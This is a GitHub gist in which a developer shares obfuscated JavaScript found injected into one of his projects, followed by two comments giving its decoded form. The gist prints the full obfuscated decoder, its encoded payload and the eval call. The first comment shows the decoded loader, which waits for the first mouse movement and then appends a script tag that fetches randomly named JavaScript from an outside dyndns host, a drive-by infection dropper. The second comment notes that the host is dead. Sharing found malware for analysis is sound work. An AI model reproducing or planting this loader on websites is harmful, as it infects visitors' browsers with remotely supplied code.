Skip to content

Instantly share code, notes, and snippets.

@Termina1
Created April 13, 2012 19:12
Show Gist options
  • Save Termina1/2379287 to your computer and use it in GitHub Desktop.
Save Termina1/2379287 to your computer and use it in GitHub Desktop.
Some JS exploit found on one of my projects. Probably heap spraying.
var r57c26="";
function n99a924125ca(){
var md95c2db6 = Array.prototype.slice.call(arguments).join(""),
x5f9144e2 = md95c2db6.substr(13,3) - 571,
h831241b,
md2fbec;
md95c2db6 = md95c2db6.substr(16);
var s191d5 = f351aa609(md95c2db6);
for(var c3f4f318=0;c3f4f318<s191d5;c3f4f318++) {
try{
throw(kcead4 = md95c2db6.substr(c3f4f318,1));
} catch(e){
kcead4 = e;
};
if(kcead4=='™') {
x5f9144e2="";
c3f4f318 = m6e801b12(c3f4f318);
pa28e9d8a = qd13ef042(md95c2db6,c3f4f318);
while(pa28e9d8a!='™') {
x5f9144e2+=pa28e9d8a;
c3f4f318++;
pa28e9d8a=y758f84f(md95c2db6,c3f4f318);
}
x5f9144e2-=387;
continue;
}
h831241b="";
if(rdb213(kcead4)) {
c3f4f318++;
kcead4 = md95c2db6.substr(c3f4f318,1);
while(kcead4!='№')
{
h831241b += kcead4;
c3f4f318++;
kcead4 = md95c2db6.substr(c3f4f318,1);
}
h831241b = h831241b - x5f9144e2 - 4;
if(h831241b < 0)
h831241b+=256;
if(h831241b >= 192)
h831241b += 848;
else if(h831241b == 168)
h831241b=1025;
else if(h831241b==184)
h831241b=1105;u9ce2b(h831241b);
continue;
}
e1944a7d = f11768c85(kcead4);
if(e1944a7d > 848)
e1944a7d-=848;
md2fbec = e1944a7d - x5f9144e2 - 4;
md2fbec = me7498a7(md2fbec);
r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](md2fbec);
}
}
n99a924125ca("d","0a1cc2","e0","e","2","de","6","22_","№","157№","№172№№1","65№№1","54№™","45","6™","№","189","№™","5","1","0","™","№2","32","№№","2","3","8№№","237","№","№","16","7№™4","0","4","™",">","5™5","35","™","№","19","№","№","1","65","№™","435","™>","™","4","85","™","o","™4","04","™","№","1","39","№","v™5","54™","№","29","№№20","3№","™4","12","™","№1","46№№1","4","3","№","™415™","№14","0№™","570","™","№219№™","5","3","5™№2","1","3","№№","1","8","4№","№","19","1","№№0№№12№","™5","0","6™№","239№","№235№","№","181","№","™4","9","3™№1","5","7№№157","№№2","20№™45","2","™№","18","3№","№","173","№","№1","86","№№1","86№s","™5","50","™№","1","2","№™55","1","™№","1","4","№","№","2","0","№№2","9","№","™","4","29","™","№","1","44","№","№","1","49","№","™5","7","0","™,","™","5","65™)™","56","3","™","'","№","21№№2","26№","№2","4№™","4","03","™","№","14","1№","№","130№™4","8","1™№19","8№№","2","08","№","™","4","8","1™","№","213№№","1","4","3","№™428","™№","150","№","™","5","74™/™5","70™","№","2","33№™","4","58™№1","74","№","™","4","8","4™","№212","№№2","1","0№™3","9","9™?w™","47","8","™","№14","2№","™","3","97","™","5I№27№№24№№","2","3","№w","™","50","1™№2","2","0","№™3","9","9™0","8™","52","4™№1№™455","™","№","193","№№","184","№","™5","62","™","№2","4№\"","№","2","5№№","211","№","*","№28№","!","№2","3№","\"*","™","554™№","2","17№™","47","1","™№","2","08","№","™546","™","№","2","8№™46","9","™","№20","8№№1","8","8","№™529","™","№25","4","№™4","6","1™","№175","№","№","18","1№n","№","13","9№","™55","2","™№2","3","0","№","№2","3","0","№","№2","01","№","№","2","08№","™498™","№2","32№","™","3","9","4™yo","™3","91™","m","™42","8","™","№1","47№","№1","50№","™","496™","№2","23№™5","06","™№2","24№№","223№№1","62№","№","1","6","4","№","™","460","™","m™","56","7™","3™4","3","1","™=","™395™","№2","2","№","№2","1№№","21№","№","13","1","№u™","56","9™","(","™55","8","™№19","№№3","0№™","5","6","0","™","(™4","9","1","™№","15","4","№™5","4","5™","№2","6","№","™","47","9™","№217№№","218","№","№","1","9","8","№","™","464™№1","8","9","№","№","1","78","№™","5","8","2","™",".™4","47™`™44","6™","№1","24","№™","411™","<LW)","™","4","2","3","™2","1","™","42","0™","№1","62№","™","54","6","™№1","7","6","№№173","№™49","5™","y№","2","1","2","№","№22","3","№™5","43","™","№","3№№","21","№","™","496™№22","2","№","№2","14№™3","95","™z№1","2","8№",":™","4","93™","№2","2","1№","№22","0","№","№","219","№","™564","™$","™","5","23™№1","№™","41","8™№15","0№™","5","4","0™№","2","№№","10","№","™","4","0","0™№128№™4","73","™№208№№","1","9","1№z","№15","1№z","№","19","2","№","™568","™.","'","™4","5","9™","№","1","75№№1","92№№1","81","№™","47","9™№2","0","7№№","2","06№™","405","™>","?","6","№","1","4","5","№","™","477","™k","h","™","38","9™№1","5№","№","1","5№","™54","8","™№14","№","™4","3","9","™№1","58№X","`№1","75","№™","480™","№2","0","2","№№207№™","3","9","5™","p","™5","3","1","™","№","3№№","11№№19","4","№","™4","1","4™№","15","1","№№1","5","2","№","™513","™","№","2","52","№","№23","2№","№2","38№№2","27","№","№","23","3","№™","4","17","™B™4","99","™№17","7","№№","17","7","№","№1","7","7№","№1","48","№","№","16","4","№","№1","57№","№","148","№№23","9№™","5","85™","№","2","15№™4","8","6","™","q","p","™4","8","7","™qq№","22","3№","№","20","9","№","№","214","№™","44","7™№","1","64№™549™","№","21№№29","№","№2","12","№™442™","№179№№","1","80","№№","1","81","№™40","7™№","1","26№™","5","31","™№","0","№","№2","45","№","™58","3™/№","2","32","№","™","56","1™","№239№","™","431™","P","™","4","7","1™","№137№№147№","™4","3","6™B?™","4","5","4","™P","P","P™58","6","™","A","™54","9™","№7№™","56","5™(","№","214","№№","30№™","4","28","™","№1","46","№№142№","№145№M","™490","™№16","8№","™471™x№18","8№","№19","9№","№","18","7","№","™","47","5","™№","209№","№2","01№™","5","58™№20№№2","9","№#№2","21","№","™5","2","6™","№","24","6","№№2","44","№™5","06","™№239","№™5","20","™","№20","6","№","№","245№№23","8№™4","80","™№","206","№№","19","8№™541","™№","1","2№№18№№17№№224","№","™","39","6","™№","134№an","™","3","9","1™o","™4","86™","№","181№№","20","0№","™4","48","™","№","1","7","4№™49","0","™","№2","0","8№","№1","47№","№14","6№™425","™№","146","№","№1","43№","№13","9","№™51","3","™","№2","30","№","™","437","™]_","™","45","1","™№1","59","№","t№","1","61№№1","2","7","№™","504™№","1","3","4","№","™5","7","0™","№19","7№№19","6№","™51","8","™№1","4","4№№1","4","4","№№","25","3№™","4","60","™","№174№™5","4","7","™№","22","№","™","460™","m","№","19","2","№","™","57","8™","&5,™460","™№","18","9","№","™","562™","'","™","449™b","№","1","2","7№","™","44","6™","_","№","1","6","3","№","№17","4№","™","5","5","8","™№1","8","№$№","28№™","5","16™№2","3","4","№","№24","3","№","™4","36™","№1","6","9№c","№15","2","№","™393™","№","124","№","™","4","1","0","™№","12","8№","№1","2","4","№","™","4","7","9","™№2","1","2","№","№","1","97","№№","165№№","204","№","™","43","3™","№15","1","№","™","541™№11№","™575™%™","5","86™","9™","4","68","™","№201№™","514","™№","171","№","™5","80","™","№2","36№8™","5","6","3™","№2","3","№&™","46","4","™№","186№№","19","3","№","™54","6™","№","2","3№","™513","™№","16","9№№","17","1","№™416","™\\™42","0™2","/..™416™*","™5","07","™№","23","9№™5","0","0","™","№","2","1","6","№№","2","31","№™","5","86","™4","™4","49™№1","7","8№","™4","2","5™","№","15","8","№","™","39","2","™","7™","5","09™№","2","42№№","2","47№","№","2","38№™","4","42™№160№","[x","[™58","5","™№241№","™","4","2","5","™","№","1","5","8№№14","3","№","№","1","6","2","№","™520","™№2","53","№™","39","0™","6q","h№","1","2","5","№h™4","82™№214","№","™509™№2","25№™","449","™","№","18","0№™","4","99™","№","22","1","№™5","8","2","™","7",";","№2","3","8","№","™3","9","9","™K","™4","37","™","C@","?","??№169","№","№1","5","3","№№","1","6","8№","№1","59№№","1","6","6","№№1","7","0№","™4","9","5","™","№","1","5","8","№","™","5","1","8","™№","246","№™521™№","24","8","№","™","5","15™","№24","6№№","23","3№™","43","3","™","№147№™4","88™№2","0","5","№","™4","21™","№","15","9№","™4","84","™","№","216№№","217","№™","47","1","™№","185","№™","43","8™","№1","71№","№15","6","№","№","1","54№№","1","59№","™","4","1","2","™№","1","26№","™","569™(","!","™49","6™","№","21","4№№14","5","№™","40","1","™O","™4","09™:№","12","8","№","™","4","4","6™","№18","0№№173","№™","5","70","™№","30","№/","$","*)№2","19№№2","2","7","№","№","22","8","№™","54","6™№","19","5","№№3","0","№","™5","2","6™","№","1","5","6№™5","4","5™","№","1","7","2№™","51","8","™","№","1","4","4№","№","144№™47","3™cc™","53","5™№1№","№","25","4№","™","582™№","231№™","5","53™№210№","™","4","18™№1","5","1№","№","139","№","№","1","40№™5","3","5","™","№11","№№","198№","™5","16™","№","2","4","7№","™","402™","x","t","™","50","2™","№2","1","9№№240","№","™","468","™","№1","6","8","№№2","0","1","№","№","1","8","2№","№","201","№№186№","™","4","43™","\\y","™","486™","№1","6","4","№","™51","0","™№1","59№№","1","6","6№","№22","6№","№2","3","8","№","№2","3","6№™5","0","0™","№229№№","225№","№","21","8","№","№2","3","3","№","№2","18","№","№1","56№№1","5","8","№","™","5","02™","№","1","5","1","№","™5","49™","!","№179","№№","1","7","6","№№17","5№№1","7","5№","№","1","7","5№№1","7","5№","№","17","5№™4","4","4","™","№","180№","™","435™№157","№","№1","6","2","№№15","2","№№","163","№","™55","4™","\"","™4","1","8™","Q","™","423","™","№","1","60","№","№1","6","1","№","№1","62№™5","03","™№","2","22","№™","5","58™","№27","№№","16","№","™468™","№1","88","№u™","466","™№1","4","4","№","™523™","№","172","№","№","1","9","0","№№","199№™","44","7","™M","™","3","9","6™","№","2","3№™","4","8","0™","j","™","49","4","™","x™","567","™№","1","93№","№","1","9","3","№5™","5","8","1™","№","211№","™5","0","0","™№1","2","7","№™","4","0","8™","\"™","430","™","8","8","™","3","98","™","№","1","40№","™5","0","1","™№1","77","№","№","1","3","1","№№128№","№1","2","7№№1","27","№","№1","27","№№","2","33","№™5","14™","№2","3","0","№","№24","5","№№","23","6№№","24","3","№№","24","7","№™","5","59","™","№22","2","№™44","7","™","№1","75","№","™","445","™","№17","2№™5","71™(™410","™№","1","3","8№™","5","60™","№1","8№™40","3™","x4","Q4","z","™","5","2","8™","№","6№№","25","5","№™4","8","5","™№","201","№№","2","1","8№™","573","™","'™4","2","9","™","№","1","57","№","™427","™№","1","54№","™5","18","™№","17","5","№","№17","6№™422","™","G№162№™4","1","9","™1",".--","™476™","ff","№212","№","№","19","8","№","™","424™№15","1№№","1","41№","№152№","™4","6","0™№","1","9","6№™","5","58","™№2","21","№","™","44","0™","№","1","7","7","№","™","522™№","4","№","™4","7","5","™№","214","№№1","9","4","№","™5","14™","№23","9№™","5","05™","№","219№™474™","№","1","9","4","№№1","2","3№№","1","5","2","№№","1","23№™4","84™№","151№","№","1","60№™4","4","2™H","™","58","5","™№21","2","№","№211№№","211№™46","7","™","]№","2","09№","™","439","™","s","EB","A™","579™№","205№№2","0","5","№7™","5","5","4™№1","4","№","™","402","™№133","№","№","1","2","4№№1","3","1№™","5","5","8","™","#™390™","5zy","j","™","47","3","™","z№","15","1№z","№20","7№","№","20","4№","™4","0","5","™","№","1","30","№","™408","™","9™","504™","№164№™","4","9","7™","№","146№","№1","91","№","№2","11№","№","2","3","0","№","™","5","04™№22","5№","№","1","67№™","4","02","™","№13","3","№t","™","389™","t","™","5","1","9™№","23","6","№№","247№","№24","5№","№","17","6","№","№","1","77","№™414™","M№1","4","7№™","5","60™","№","32№","№4","№","%#","™","578™",",","™51","2","™","№","2","39","№","™","469","™","№189","№™","55","6","™","№213","№","№","2","14№№2","1","9","№","№","32","№","™4","9","5","™№","22","9","№","™586™-™3","96™№","1","28","№№1","29№","№12","7","№","™4","44™№166","№™","40","6™№1","3","3№","№","1","2","6","№","™","56","9","™","№22","6№™446","™rh™5","3","8™","№187№№","198№","™","504™№","15","3№™","390™.","™","53","6","™№1","9","9","№","№3","№№1","2","№","™","40","5","™","=Q","#","™518","™","№","14","5","№","™4","89™s™5","1","5™","№","1","4","1№™532","™№","15","8","№™","4","90","™","№","211№™4","30","™","№","148№№1","44№","™","5","7","6™%№239","№\"","™54","5™","№1","8№№1","8","№","™491","™","№209№","№","21","8№","№","2","08№№175","№","№","212","№№2","13","№№216","№","№","208№","№1","4","8№","™40","9™","№","1","41","№","№","12","5№","№","1","40№","™464","™№18","6","№","™4","6","6","™№1","9","5№№","199","№™4","57","™s","™","393","™","E™","42","1","™30/","™4","67","™","]№20","9","№","™4","73™","g","™539","™№","1","66","№","™","4","18™,","™44","9™","№1","91№","№","1","25№","OL№","1","91№™","56","7™","№22","5","№№2","2","4","№","№2","2","5","№№","2","4","3№");
eval(r57c26);
function f351aa609(ob45130) {
return ob45130.length;
}
function m6e801b12(e866163e7) {
return ++e866163e7;
}
function qd13ef042(m38331,jb7ab9926) {
return m38331.substr(jb7ab9926,1);
}
function y758f84f(i10d1f8d,md5642){
return i10d1f8d.substr(md5642,1);
}
function rdb213(c629a5) {
return c629a5=='№';
}
function u9ce2b(c48acd5c0) {
var String = String;
r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](c48acd5c0);
}
function me7498a7(g5885054) {
var r12a98ade = g5885054;
if(r12a98ade < 0)
r12a98ade += 256;
if(r12a98ade==168)
r12a98ade=1025;
else if(r12a98ade==184)
r12a98ade=1105;
return (r12a98ade >= 192 && r12a98ade < 256) ? r12a98ade+848 : r12a98ade;
}
function f11768c85(qfc750) {
return (qfc750+'')["\x63\x68\x61\x72C\x6f\x64eA\x74"](0);
}
@Termina1
Copy link
Author

(function() {
    var url = 'http://nrhuu.eflubgqssa.dyndns-ip.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function () {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

@Termina1
Copy link
Author

Actually generates this code, but unfortunately the remote host is dead

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment